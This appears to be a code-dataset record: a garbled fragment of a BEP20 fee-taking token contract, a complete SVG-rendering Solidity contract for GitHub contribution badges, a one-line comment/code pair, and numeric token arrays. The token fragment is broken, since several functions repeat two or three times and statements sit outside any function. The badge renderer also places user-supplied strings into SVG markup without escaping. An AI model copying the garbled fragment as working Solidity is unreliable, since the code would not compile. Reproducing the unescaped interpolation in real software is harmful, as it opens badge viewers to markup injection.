(uint256) { return _balances[account]; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function baseBuyFee() external view returns (uint256) {return _baseBuyFee; } function baseSellFee() external view returns (uint256) {return _baseSellFee; } function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function approveMax(address spender) external returns (bool) { return approve(spender, type(uint256).max); } function transfer(address recipient, uint256 amount) external override returns (bool) { return _transfer(msg.sender, recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if(_allowances[sender][msg.sender] != type(uint256).max){ _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount; } return _transfer(sender, recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if(_allowances[sender][msg.sender] != type(uint256).max){ _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount; } return _transfer(sender, recipient, amount); } function _transfer(address sender, address recipient, uint256 amount) internal returns (bool) { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _balances[sender] = _balances[sender] - amount; uint256 finalAmount = !isFeeExempt[sender] && !isFeeExempt[recipient] ? takeFee(sender, recipient, amount) : amount; _balances[recipient] = _balances[recipient] + finalAmount; emit Transfer(sender, recipient, finalAmount); return true; } if(!isFeeExempt[sender] && !isFeeExempt[recipient]) { require(tradingOpen, "Trading not active"); } if(inSwapAndLiquify){ return _basicTransfer(sender, recipient, amount); } if(sender != pair && recipient != pair) { return _burnTransfer(sender, recipient, amount); } if(msg.sender != pair && !inSwapAndLiquify && swapAndLiquifyEnabled && _balances[address(this)] >= swapThreshold){ swapBack(); } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender] - amount; _balances[recipient] = _balances[recipient] + amount; emit Transfer(sender, recipient, amount); return true; } function _burnTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { uint _burnFee = amount * xferBurn / 10000; uint256 _finalAmount = !isFeeExempt[sender] ? amount - _burnFee : amount; _balances[sender] = _balances[sender] - amount; _balances[recipient] = _balances[recipient] + _finalAmount; if(!isFeeExempt[sender]) { _balances[DEAD] = _balances[DEAD] + _burnFee; emit Burn(sender, DEAD, _burnFee); } emit Transfer(sender, recipient, _finalAmount); return true; } function _burnTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { uint _burnFee = amount * xferBurn / 10000; uint256 _finalAmount = !isFeeExempt[sender] ? amount - _burnFee : amount; _balances[sender] = _balances[sender] - amount; _balances[recipient] = _balances[recipient] + _finalAmount; if(!isFeeExempt[sender]) { _balances[DEAD] = _balances[DEAD] + _burnFee; emit Burn(sender, DEAD, _burnFee); } emit Transfer(sender, recipient, _finalAmount); return true; } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { uint256 wikTaxB = amount * buyWik / 10000; uint256 wikTaxS = amount * sellWik / 10000; uint256 lpTaxB = amount * buyLP / 10000; uint256 lpTaxS = amount * sellLP / 10000; uint256 taxToGet; if(sender == pair && recipient != address(pair) && !isFeeExempt[recipient]) { taxToGet = wikTaxB + lpTaxB; addTaxCollected(wikTaxB, lpTaxB); } if(!inSwapAndLiquify && sender != pair && tradingOpen) { taxToGet = wikTaxS + lpTaxS; addTaxCollected(wikTaxS, lpTaxS); } _balances[address(this)] = _balances[address(this)] + taxToGet; emit Transfer(sender, address(this), taxToGet); return amount - taxToGet; } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { uint256 wikTaxB = amount * buyWik / 10000; uint256 wikTaxS = amount * sellWik / 10000; uint256 lpTaxB = amount * buyLP / 10000; uint256 lpTaxS = amount * sellLP / 10000; uint256 taxToGet; if(sender == pair && recipient != address(pair) && !isFeeExempt[recipient]) { taxToGet = wikTaxB + lpTaxB; addTaxCollected(wikTaxB, lpTaxB); } if(!inSwapAndLiquify && sender != pair && tradingOpen) { taxToGet = wikTaxS + lpTaxS; addTaxCollected(wikTaxS, lpTaxS); } _balances[address(this)] = _balances[address(this)] + taxToGet; emit Transfer(sender, address(this), taxToGet); return amount - taxToGet; } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { uint256 wikTaxB = amount * buyWik / 10000; uint256 wikTaxS = amount * sellWik / 10000; uint256 lpTaxB = amount * buyLP / 10000; uint256 lpTaxS = amount * sellLP / 10000; uint256 taxToGet; if(sender == pair && recipient != address(pair) && !isFeeExempt[recipient]) { taxToGet = wikTaxB + lpTaxB; addTaxCollected(wikTaxB, lpTaxB); } if(!inSwapAndLiquify && sender != pair && tradingOpen) { taxToGet = wikTaxS + lpTaxS; addTaxCollected(wikTaxS, lpTaxS); } _balances[address(this)] = _balances[address(this)] + taxToGet; emit Transfer(sender, address(this), taxToGet); return amount - taxToGet; } function addTaxCollected(uint wik, uint lp) internal { taxesCollected[0] += wik; taxesCollected[1] += lp; } function swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); approve(address(this), tokenAmount); router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private { address(this), tokenAmount, 0, 0, liquidityPool, block.timestamp ); } router.addLiquidityETH{value: ETHAmount}( function swapBack() internal lockTheSwap { uint256 tokenBalance = _balances[address(this)]; uint256 _totalCollected = taxesCollected[0] + taxesCollected[1]; uint256 wikShare = taxesCollected[0]; uint256 lpShare = taxesCollected[1]; uint256 tokensForLiquidity = lpShare / 2; uint256 amountToSwap = tokenBalance - tokensForLiquidity; swapTokensForETH(amountToSwap); uint256 totalETHBalance = address(this).balance; uint256 ETHForWik = totalETHBalance * wikShare / _totalCollected; uint256 ETHForLiquidity = totalETHBalance * lpShare / _totalCollected / 2; if (totalETHBalance > 0) { payable(wickedWallet).transfer(ETHForWik); } if (tokensForLiquidity > 0) { addLiquidity(tokensForLiquidity, ETHForLiquidity); } delete taxesCollected; } function swapBack() internal lockTheSwap { uint256 tokenBalance = _balances[address(this)]; uint256 _totalCollected = taxesCollected[0] + taxesCollected[1]; uint256 wikShare = taxesCollected[0]; uint256 lpShare = taxesCollected[1]; uint256 tokensForLiquidity = lpShare / 2; uint256 amountToSwap = tokenBalance - tokensForLiquidity; swapTokensForETH(amountToSwap); uint256 totalETHBalance = address(this).balance; uint256 ETHForWik = totalETHBalance * wikShare / _totalCollected; uint256 ETHForLiquidity = totalETHBalance * lpShare / _totalCollected / 2; if (totalETHBalance > 0) { payable(wickedWallet).transfer(ETHForWik); } if (tokensForLiquidity > 0) { addLiquidity(tokensForLiquidity, ETHForLiquidity); } delete taxesCollected; } function swapBack() internal lockTheSwap { uint256 tokenBalance = _balances[address(this)]; uint256 _totalCollected = taxesCollected[0] + taxesCollected[1]; uint256 wikShare = taxesCollected[0]; uint256 lpShare = taxesCollected[1]; uint256 tokensForLiquidity = lpShare / 2; uint256 amountToSwap = tokenBalance - tokensForLiquidity; swapTokensForETH(amountToSwap); uint256 totalETHBalance = address(this).balance; uint256 ETHForWik = totalETHBalance * wikShare / _totalCollected; uint256 ETHForLiquidity = totalETHBalance * lpShare / _totalCollected / 2; if (totalETHBalance > 0) { payable(wickedWallet).transfer(ETHForWik); } if (tokensForLiquidity > 0) { addLiquidity(tokensForLiquidity, ETHForLiquidity); } delete taxesCollected; } function manualSwapBack() external onlyOwner { swapBack(); } function changeIsFeeExempt(address holder, bool exempt) external onlyOwner { isFeeExempt[holder] = exempt; emit FeeExemptionChanged(holder, exempt); } function setWickedWallet(address payable newWickedWallet) external onlyOwner { require(newWickedWallet != address(0), "Cannot be set to zero address"); isFeeExempt[wickedWallet] = false; wickedWallet = payable(newWickedWallet); isFeeExempt[wickedWallet] = true; emit WickedWalletUpdated(newWickedWallet); } function setLiquidityPool(address newLiquidityPool) external onlyOwner { require(newLiquidityPool != address(0), "Cannot be set to zero address"); liquidityPool = newLiquidityPool; emit LiquidityPoolUpdated(newLiquidityPool); } function changeSwapBackSettings(bool enableSwapback, uint256 newSwapbackLimit) external onlyOwner { require(newSwapbackLimit >= 10000 * _decimals, "Limit must be over 10,000 tokens"); swapAndLiquifyEnabled = enableSwapback; swapThreshold = newSwapbackLimit; emit SwapbackSettingsChanged(enableSwapback, newSwapbackLimit); } function updateBuyFees(uint256 newBuyWikFee, uint256 newBuyLpFee) public onlyOwner { require(newBuyWikFee + newBuyLpFee <= 500, "Fees Too High"); buyWik = newBuyWikFee; buyLP = newBuyLpFee; emit BuyFeesUpdated(newBuyWikFee, newBuyLpFee); } function updateSellFees(uint256 newSellWikFee,uint256 newSellLpFee) public onlyOwner { require(newSellWikFee + newSellLpFee <= 500, "Fees Too High"); sellWik = newSellWikFee; sellLP = newSellLpFee; emit SellFeesUpdated(newSellWikFee, newSellLpFee); } function updateRouter(IDEXRouter _newRouter) external onlyOwner { require(_newRouter != IDEXRouter(ZERO), "Cannot be set to zero address"); require(_newRouter != IDEXRouter(DEAD), "Cannot be set to zero address"); router = _newRouter; emit RouterUpdated(_newRouter); } function clearStuckETH() external onlyOwner { uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { payable(wickedWallet).transfer(contractETHBalance); } } function clearStuckETH() external onlyOwner { uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { payable(wickedWallet).transfer(contractETHBalance); } } function clearStuckTokens(address contractAddress) external onlyOwner { IERC20 erc20Token = IERC20(contractAddress); uint256 balance = erc20Token.balanceOf(address(this)); erc20Token.transfer(wickedWallet, balance); } if(contractAddress == address(this)) { delete taxesCollected; } }
15,615,520
[ 1, 1595, 1656, 281, 854, 316, 10853, 3143, 261, 6625, 273, 404, 9, 13, 1133, 20238, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 678, 16656, 2056, 38, 1584, 353, 467, 654, 39, 3462, 16, 14223, 6914, 288, 203, 203, 565, 1758, 3238, 678, 1584, 44, 31, 203, 203, 565, 533, 3238, 5381, 389, 529, 273, 315, 59, 1200, 329, 605, 278, 14432, 203, 565, 533, 3238, 5381, 389, 7175, 273, 315, 23109, 47, 14432, 203, 565, 2254, 28, 3238, 5381, 389, 31734, 273, 6549, 31, 203, 377, 203, 565, 2254, 5034, 389, 4963, 3088, 1283, 273, 404, 380, 1728, 636, 28, 380, 261, 2163, 2826, 389, 31734, 1769, 203, 203, 565, 2874, 261, 2867, 516, 2254, 5034, 13, 3238, 389, 70, 26488, 31, 203, 565, 2874, 261, 2867, 516, 2874, 12, 2867, 516, 2254, 5034, 3719, 3238, 389, 5965, 6872, 31, 203, 565, 2874, 261, 2867, 516, 1426, 13, 1071, 353, 14667, 424, 5744, 31, 203, 203, 565, 1758, 2030, 1880, 273, 374, 92, 12648, 12648, 12648, 12648, 2787, 72, 41, 69, 40, 31, 203, 203, 565, 2254, 63, 23, 65, 5320, 281, 10808, 329, 273, 306, 20, 16, 374, 15533, 203, 203, 565, 2254, 5034, 1071, 28786, 861, 31, 203, 565, 1758, 1071, 4501, 372, 24237, 2864, 273, 2030, 1880, 31, 203, 203, 565, 2254, 5034, 3238, 30143, 59, 1766, 273, 11631, 31, 203, 565, 2254, 5034, 3238, 357, 80, 59, 1766, 273, 11631, 31, 203, 565, 2254, 5034, 3238, 30143, 14461, 273, 4044, 31, 203, 565, 2254, 5034, 3238, 357, 80, 14461, 273, 4044, 31, 203, 565, 2254, 5034, 3238, 619, 586, 38, 321, 273, 6437, 31, 203, 203, 565, 2254, 5034, 389, 1969, 2 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.13; /// @title GitHub Renoun Non-Transferrable Tokens /// @author Jonathan Becker <[email protected]> /// @author Badge design by Achal <@achalvs> /// @notice This contract is an implementation of a rendering client for /// non-transferrable GitHub contribution badges on the EVM. /// /// https://github.com/Jon-Becker/renoun contract BadgeRenderer { constructor() {} /// @param _pullRequestID The ID of the pull request /// @param _pullRequestTitle The title of the pull request /// @param _additions The number of additions in the pull request /// @param _deletions The number of deletions in the pull request /// @param _pullRequestCreatorPictureURL The URL of the pull request creator's profile picture /// @param _pullRequestCreatorUsername The username of the pull request creator /// @param _commitHash The hash of the commit /// @param _repositoryOwner The owner of the repository /// @param _repositoryName The name of the repository /// @param _repositoryStars The number of stars the repository has /// @param _repositoryContributors The number of contributors to the repository struct Contribution { uint256 _pullRequestID; string _pullRequestTitle; uint256 _additions; uint256 _deletions; string _pullRequestCreatorPictureURL; string _pullRequestCreatorUsername; string _commitHash; string _repositoryOwner; string _repositoryName; uint256 _repositoryStars; uint256 _repositoryContributors; } /// @notice Formats an SVG with the provided parameters to build a /// GitHub contribution badge from the current template. /// @param _pullRequestID The ID of the pull request /// @param _pullRequestTitle The title of the pull request /// @param _additions The number of additions in the pull request /// @param _deletions The number of deletions in the pull request /// @param _pullRequestCreatorPictureURL The URL of the pull request creator's profile picture /// @param _pullRequestCreatorUsername The username of the pull request creator /// @param _commitHash The hash of the commit /// @param _repositoryOwner The owner of the repository /// @param _repositoryName The name of the repository /// @param _repositoryStars The number of stars the repository has /// @param _repositoryContributors The number of contributors to the repository /// @return The SVG with the parameters inserted into it function renderPullRequest( uint256 _pullRequestID, string memory _pullRequestTitle, uint256 _additions, uint256 _deletions, string memory _pullRequestCreatorPictureURL, string memory _pullRequestCreatorUsername, string memory _commitHash, string memory _repositoryOwner, string memory _repositoryName, uint256 _repositoryStars, uint256 _repositoryContributors ) public pure returns (string memory) { Contribution memory _contribution = Contribution( _pullRequestID, _pullRequestTitle, _additions, _deletions, _pullRequestCreatorPictureURL, _pullRequestCreatorUsername, _commitHash, _repositoryOwner, _repositoryName, _repositoryStars, _repositoryContributors ); return string( abi.encodePacked( _buildPartOne(_contribution), _buildPartTwo(_contribution), _buildPartThree(_contribution) ) ); } /// @notice Converts an integer to a string /// @param _i The integer to convert /// @return The string representation of the integer function _integerToString(uint256 _i) internal pure returns (string memory) { if (_i == 0) { return "0"; } uint256 j = _i; uint256 len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint256 k = len; while (_i != 0) { k = k - 1; uint8 temp = (48 + uint8(_i - (_i / 10) * 10)); bytes1 b1 = bytes1(temp); bstr[k] = b1; _i /= 10; } return string(bstr); } /// @notice Formats an integer to a shortened, less precise string. /// For example, 1200 becomes 1.2k, 98372 becomes 98.3k, etc... /// @param _integerAsUint The integer to format /// @param _precision The number of decimal places to include in the string /// @return The formatted string function _formatInteger(uint256 _integerAsUint, uint256 _precision) internal pure returns (string memory) { // calculate the length of _integerAsUint uint256 len; uint256 j = _integerAsUint; while (j != 0) { len++; j /= 10; } // calculates the denominator based off of the length uint256 _denominator = 1000**((len - 1) / 3); string[6] memory suffices = ["", "k", "m", "b", "t", "q"]; // calculate the quotient and remainder with the given precision uint256 _precisionFactor = 10**_precision; uint256 _quotient = _integerAsUint / _denominator; uint256 _remainder = ((_integerAsUint * _precisionFactor) / _denominator) % _precisionFactor; if (_remainder == 0) { return string( abi.encodePacked(_integerToString(_quotient), suffices[(len - 1) / 3]) ); } return string( abi.encodePacked( _integerToString(_quotient), ".", _integerToString(_remainder), suffices[(len - 1) / 3] ) ); } /// @notice Build the badge SVG in parts because otherwise it causes stack too deep errors function _buildPartOne(Contribution memory _contribution) internal pure returns (string memory) { return string( abi.encodePacked( "<svg width='549' height='507' viewBox='0 0 549 507' fill='none' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink'> <rect width='549' height='507' fill='#2C2C2C'/> <g> <rect width='549' height='507' fill='black'/> <g> <rect x='100' y='48' width='350' height='393' rx='30' fill='#161616'/> <rect x='100' y='48' width='350' height='393' rx='30' fill='url(#paint1504_radial_0_1)' fill-opacity='0.2'/> <rect x='100' y='48' width='350' height='393' rx='30' fill='url(#paint1505_radial_0_1)' fill-opacity='0.2'/> <g> <rect width='325' height='247' rx='21' transform='matrix(1 0 0 -1 113 307)' fill='white' fill-opacity='0.06'/> <rect x='-0.75' y='0.75' width='326.5' height='248.5' rx='21.75' transform='matrix(1 0 0 -1 113 308.5)' stroke='white' stroke-opacity='0.1' stroke-width='1.5'/> </g> <rect x='318' y='294' width='125' height='150' fill='url(#pattern0)'/> <path d='M136.768 399.534C136.526 398.822 135.474 398.822 135.233 399.534L134.369 402.076C134.317 402.231 134.214 402.366 134.076 402.462C133.939 402.558 133.773 402.609 133.603 402.609H130.809C130.026 402.609 129.702 403.567 130.334 404.008L132.594 405.579C132.732 405.675 132.835 405.81 132.887 405.965C132.94 406.12 132.94 406.287 132.888 406.442L132.024 408.985C131.782 409.697 132.633 410.289 133.267 409.849L135.527 408.278C135.665 408.182 135.831 408.13 136.001 408.13C136.171 408.13 136.337 408.182 136.475 408.278L138.735 409.849C139.368 410.289 140.218 409.697 139.977 408.985L139.113 406.442C139.061 406.287 139.061 406.12 139.114 405.965C139.166 405.81 139.269 405.675 139.407 405.579L141.666 404.008C142.298 403.568 141.973 402.61 141.192 402.61H138.398C138.228 402.61 138.062 402.559 137.924 402.463C137.786 402.367 137.684 402.232 137.631 402.077L136.767 399.534L136.768 399.534Z' fill='#F1952A'/> <path d='M 216.333 401.4 C 216.333 402.037 216.088 402.647 215.65 403.097 C 215.212 403.547 214.619 403.8 214 403.8 C 213.381 403.8 212.788 403.547 212.35 403.097 C 211.912 402.647 211.667 402.037 211.667 401.4 C 211.667 400.763 211.912 400.153 212.35 399.703 C 212.788 399.253 213.381 399 214 399 C 214.619 399 215.212 399.253 215.65 399.703 C 216.088 400.153 216.333 400.763 216.333 401.4 Z M 220.222 403 C 220.222 403.424 220.058 403.831 219.767 404.131 C 219.475 404.431 219.079 404.6 218.667 404.6 C 218.254 404.6 217.858 404.431 217.567 404.131 C 217.275 403.831 217.111 403.424 217.111 403 C 217.111 402.576 217.275 402.169 217.567 401.869 C 217.858 401.569 218.254 401.4 218.667 401.4 C 219.079 401.4 219.475 401.569 219.767 401.869 C 220.058 402.169 220.222 402.576 220.222 403 Z M 217.111 408.6 C 217.111 407.751 216.783 406.937 216.2 406.337 C 215.616 405.737 214.825 405.4 214 405.4 C 213.175 405.4 212.384 405.737 211.8 406.337 C 211.217 406.937 210.889 407.751 210.889 408.6 V 411 H 217.111 V 408.6 Z M 210.889 403 C 210.889 403.424 210.725 403.831 210.433 404.131 C 210.142 404.431 209.746 404.6 209.333 404.6 C 208.921 404.6 208.525 404.431 208.233 404.131 C 207.942 403.831 207.778 403.424 207.778 403 C 207.778 402.576 207.942 402.169 208.233 401.869 C 208.525 401.569 208.921 401.4 209.333 401.4 C 209.746 401.4 210.142 401.569 210.433 401.869 C 210.725 402.169 210.889 402.576 210.889 403 Z M 218.667 411 V 408.6 C 218.668 407.787 218.467 406.986 218.083 406.275 C 218.428 406.184 218.789 406.176 219.137 406.25 C 219.486 406.324 219.813 406.48 220.094 406.704 C 220.376 406.928 220.604 407.216 220.761 407.544 C 220.917 407.873 220.999 408.234 221 408.6 V 411 H 218.667 Z M 209.917 406.275 C 209.533 406.986 209.332 407.787 209.333 408.6 V 411 H 207 V 408.6 C 207 408.234 207.081 407.872 207.238 407.543 C 207.395 407.214 207.623 406.926 207.904 406.702 C 208.186 406.478 208.513 406.322 208.862 406.248 C 209.211 406.174 209.572 406.184 209.917 406.275 Z' fill='#C6C6C6'/> <path d='M143 240C143.265 240 143.52 240.105 143.707 240.293C143.895 240.48 144 240.735 144 241V244H147C147.265 244 147.52 244.105 147.707 244.293C147.895 244.48 148 244.735 148 245C148 245.265 147.895 245.52 147.707 245.707C147.52 245.895 147.265 246 147 246H144V249C144 249.265 143.895 249.52 143.707 249.707C143.52 249.895 143.265 250 143 250C142.735 250 142.48 249.895 142.293 249.707C142.105 249.52 142 249.265 142 249V246H139C138.735 246 138.48 245.895 138.293 245.707C138.105 245.52 138 245.265 138 245C138 244.735 138.105 244.48 138.293 244.293C138.48 244.105 138.735 244 139 244H142V241C142 240.735 142.105 240.48 142.293 240.293C142.48 240.105 142.735 240 143 240Z' fill='#62E96F'/> <path d='M 211 245 C 211 244.735 211.105 244.48 211.293 244.293 C 211.48 244.105 211.735 244 212 244 H 220 C 220.265 244 220.52 244.105 220.707 244.293 C 220.895 244.48 221 244.735 221 245 C 221 245.265 220.895 245.52 220.707 245.707 C 220.52 245.895 220.265 246 220 246 H 212 C 211.735 246 211.48 245.895 211.293 245.707 C 211.105 245.52 211 245.265 211 245 Z' fill='#F84364'/> <path opacity='0.1' d='M113 272H438' stroke='white'/> <path opacity='0.3' d='M133.612 294.173C135.486 294.173 136.774 293.08 137.211 291.55L136.211 291.182C135.877 292.298 135.003 293.137 133.612 293.137C132.128 293.137 130.714 292.045 130.714 289.917C130.714 287.79 132.128 286.709 133.612 286.709C134.946 286.709 135.843 287.399 136.153 288.629L137.2 288.261C136.786 286.686 135.475 285.674 133.612 285.674C131.588 285.674 129.564 287.192 129.564 289.917C129.564 292.643 131.507 294.173 133.612 294.173ZM140.938 293.206C140.018 293.206 139.213 292.516 139.213 291.228C139.213 289.952 140.018 289.262 140.938 289.262C141.858 289.262 142.663 289.952 142.663 291.228C142.663 292.516 141.858 293.206 140.938 293.206ZM140.938 288.296C139.282 288.296 138.109 289.549 138.109 291.228C138.109 292.919 139.282 294.173 140.938 294.173C142.594 294.173 143.767 292.919 143.767 291.228C143.767 289.549 142.594 288.296 140.938 288.296ZM146.217 294V290.665C146.217 289.837 146.734 289.262 147.505 289.262C148.333 289.262 148.678 289.814 148.678 290.527V294H149.759V290.653C149.759 289.86 150.276 289.262 151.035 289.262C151.852 289.262 152.208 289.802 152.208 290.527V294H153.278V290.412C153.278 288.963 152.335 288.307 151.369 288.307C150.667 288.307 149.954 288.56 149.517 289.354C149.218 288.641 148.551 288.307 147.861 288.307C147.217 288.307 146.527 288.595 146.182 289.204V288.468H145.147V294H146.217ZM156.032 294V290.665C156.032 289.837 156.55 289.262 157.32 289.262C158.148 289.262 158.493 289.814 158.493 290.527V294H159.574V290.653C159.574 289.86 160.092 289.262 160.851 289.262C161.667 289.262 162.024 289.802 162.024 290.527V294H163.093V290.412C163.093 288.963 162.15 288.307 161.184 288.307C160.483 288.307 159.77 288.56 159.333 289.354C159.034 288.641 158.367 288.307 157.677 288.307C157.033 288.307 156.343 288.595 155.998 289.204V288.468H154.963V294H156.032ZM165.848 294V288.468H164.778V294H165.848ZM164.537 286.375C164.537 286.801 164.882 287.146 165.307 287.146C165.744 287.146 166.089 286.801 166.089 286.375C166.089 285.938 165.744 285.593 165.307 285.593C164.882 285.593 164.537 285.938 164.537 286.375ZM169.104 286.72H168.115V287.617C168.115 288.1 167.862 288.468 167.264 288.468H166.965V289.446H168.023V292.482C168.023 293.482 168.621 294.058 169.564 294.058C169.932 294.058 170.208 293.988 170.3 293.954V293.034C170.208 293.057 170.012 293.08 169.874 293.08C169.311 293.08 169.104 292.827 169.104 292.321V289.446H170.3V288.468H169.104V286.72Z' fill='white'/> <g> <text x='138' y='99' font-size='16px' weight='400' fill='#bfbfbf' font-family='arial'>Pull Request <tspan fill='#CCFF00'>#", _integerToString(_contribution._pullRequestID), "</tspan></text> <foreignObject x='138' y='115' width='263' height='105'> <span xmlns='http://www.w3.org/1999/xhtml' style='font-size: 30px; font-weight: 500; color: #ffffff; font-family: arial;'>", _contribution._pullRequestTitle, "</span> </foreignObject> <text x='154' y='250' fill='#808080' font-size='14px' font-weight='300' font-family='arial'>", _formatInteger(_contribution._additions, 1), "</text> <text x='227' y='250' fill='#808080' font-size='14px' font-weight='300' font-family='arial'>", _formatInteger(_contribution._deletions, 1), "</text> <foreignObject x='261' y='231' width='159' height='25' style='text-overflow: ellipses;'> <img xmlns='http://www.w3.org/1999/xhtml' src='" ) ); } function _buildPartTwo(Contribution memory _contribution) internal pure returns (string memory) { return string( abi.encodePacked( _contribution._pullRequestCreatorPictureURL, "' style='margin-left: auto; border-radius: 50%; width: 25px; height: 25px; margin-right:7px;'></img> <span xmlns='http://www.w3.org/1999/xhtml' style='position: absolute; right: 0; max-width: 120px; overflow: hidden; transform: translateY(5px); font-size: 15px; font-weight: 450; font-family: arial; color: #ffffff;'>", _contribution._pullRequestCreatorUsername, "</span></foreignObject> <text x='177' y='293.5' fill='#bfbfbf' font-size='11.5px' font-weight='400' font-family='arial'>", _contribution._commitHash, "</text> <text x='130' y='342' fill='#808080' font-size='14px' font-weight='300' font-family='arial'>", _contribution._repositoryOwner, "/</text> <text x='130' y='378' fill='#ffffff' font-size='30px' font-weight='500' font-family='arial'>" ) ); } function _buildPartThree(Contribution memory _contribution) internal pure returns (string memory) { return string( abi.encodePacked( _contribution._repositoryName, "</text> <text x='147' y='410' fill='#808080' font-size='14px' font-weight='300' font-family='arial'>", _formatInteger(_contribution._repositoryStars, 1), "</text> <text x='227' y='410' fill='#808080' font-size='14px' font-weight='300' font-family='arial'>", _formatInteger(_contribution._repositoryContributors, 1), "</text> </g> </g> </g> <defs> <filter id='filter0_b_0_1' x='17.5' y='-35.5' width='516' height='438' filterUnits='userSpaceOnUse' color-interpolation-filters='sRGB'> <feFlood flood-opacity='0' result='BackgroundImageFix'/> <feGaussianBlur in='BackgroundImage' stdDeviation='47'/> <feComposite in2='SourceAlpha' operator='in' result='effect1_backgroundBlur_0_1'/> <feBlend mode='normal' in='SourceGraphic' in2='effect1_backgroundBlur_0_1' result='shape'/> </filter> <pattern id='pattern0' patternContentUnits='objectBoundingBox' width='1' height='1'> <use xlink:href='#image0_0_1' transform='scale(0.000454545)'/> </pattern> <pattern id='pattern1' patternContentUnits='objectBoundingBox' width='1' height='1'> <use xlink:href='#image1_0_1' transform='scale(0.0025)'/> </pattern> <radialGradient id='paint1504_radial_0_1' cx='0' cy='0' r='1' gradientUnits='userSpaceOnUse' gradientTransform='translate(388.5 376) rotate(-107.149) scale(225.527 188.328)'> <stop stop-color='#CEFF00' stop-opacity='0.35'/> <stop offset='1' stop-color='#CEFF00' stop-opacity='0'/> </radialGradient> <radialGradient id='paint1505_radial_0_1' cx='0' cy='0' r='1' gradientUnits='userSpaceOnUse' gradientTransform='translate(264 173.5) rotate(106.601) scale(306.265 272.755)'> <stop stop-color='white' stop-opacity='0.49'/> <stop offset='1' stop-color='white' stop-opacity='0'/> </radialGradient> <image id='image0_0_1' href='https://jbecker.dev/assets/images/Shield.png' width='2200' height='2200'></image> </defs> </svg>" ) ); } }
calculates the denominator based off of the length
uint256 _denominator = 1000**((len - 1) / 3);
2,531,468
[ 1, 12780, 815, 326, 15030, 2511, 3397, 434, 326, 769, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
